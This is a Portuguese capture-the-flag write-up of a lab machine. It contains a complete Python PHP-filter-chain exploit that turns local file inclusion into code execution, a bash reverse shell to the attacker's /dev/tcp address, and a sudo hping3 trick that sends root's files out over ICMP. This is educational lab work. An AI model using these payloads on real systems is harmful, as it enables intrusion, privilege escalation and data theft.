Cyborg - Easy

Writeup da máquina Cyborg, da Hacking Club by Crowsec Edtech

Essa é uma máquina de dificuldade fácil, feita pelo Vert16x.

RECON

Iniciando com um portscan na máquina, encontramos apenas duas portas abertas: 22 - ssh e a 80 - http.

Podemos então, a partir disso, dar uma olhada na aplicação Web rodando na porta 80:

Olhando de cara a aplicação, podemos ver que ele usa o parâmetro ?page= para navegar entre as páginas. Isso é muito importante, é uma característica de aplicações vulneráveis a LFI (Local File Inclusion). Então a primeira coisa que podemos testar é justamente isso.

Confirmado, temos aqui uma aplicação vulnerável a LFI.

EXPLORAÇÃO

Depois de muito tentar encontrar arquivos úteis dentro da aplicação, encontrei nada útil. Então depois de alguns minutos de pesquisa, encontrei um artigo relativamente novo sobre como obter um RCE via php wrappers em aplicações vulneráveis a LFI:

Neste artigo o loknop explica como ele conseguiu RCE através dos filtros do PHP. Com isso então podemos copiar o script que ele criou, e adaptar para a aplicação que estamos testando. Vamos aos detalhes então:

  • O script utiliza uma url que precisamos alterar para a que estamos testando, está utilizando o /etc/passwd como arquivo padrão para gerar a payload final, e precisamos também alterar o comando. Outra coisa importante, no final do script, ele usa o parâmetro ?file, e a aplicação que estamos testando usa o ?page, então precisamos alterar o script aqui também. Depois de feitas as correções, temos o seguinte resultado:

import requests

url = "http://IP_DA_MÁQUINA/index.php"
file_to_use = "/etc/passwd"
command = "/bin/bash -c 'bash -i >& /dev/tcp/IP_DA_VPN/9001 0>&1'"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "page": final_payload
})

print(r.text)

Depois de executar o script, temos nossa shell reversa:

Então fazemos o upgrade da nossa shell, e partimos para pegar a primeira flag.

script /dev/null -c bash
Ctrl + Z
stty raw -echo;fg
export TERM=xterm

Encontramos nossa primeira flag na raiz do sistema, nomeada de fl4G.txt (talvez para não ser possível encontrar ela via LFI, ne Vert? 😂).

PÓS-EXPLORAÇÃO

Ao tentar escalar privilégios para root, podemos começar a enumerar a máquina. O que sempre faço primeiro é ver se nosso usuário, nesse caso o www-data, tem permissão para rodar algo como sudo. Então rodamos o comando e obtemos o seguinte resultado:

Podemos rodar o hping3 --icmp como sudo. Pesquisando sobre encontramos esse artigo https://www.codebelay.com/blog/2008/10/09/sending-files-with-hping3/. Ele nos ensina como enviar arquivos. No https://gtfobins.github.io/gtfobins/hping3/#sudo podemos também encontrar uma forma de usar o hping3 para ler arquivos. Meu pull request foi aceito para adicionar essa possibilidade ao hping3. Você pode ver meu commit aqui.

Então vamos usar nesse caso o artigo para fazer essa pós-exploração. Para isso, precisamos pegar uma segunda shell no servidor. E então executar os seguintes comandos.

  • No primeiro terminal:

sudo hping3 --icmp 127.0.0.1 -d 100 -c 2 --sign signature --file /root/root.txt
  • No segundo terminal:

sudo /usr/sbin/hping3 --icmp 127.0.0.1 --listen signature --safe --icmp

Após isso, temos finalmente nossa flag de root:

Last updated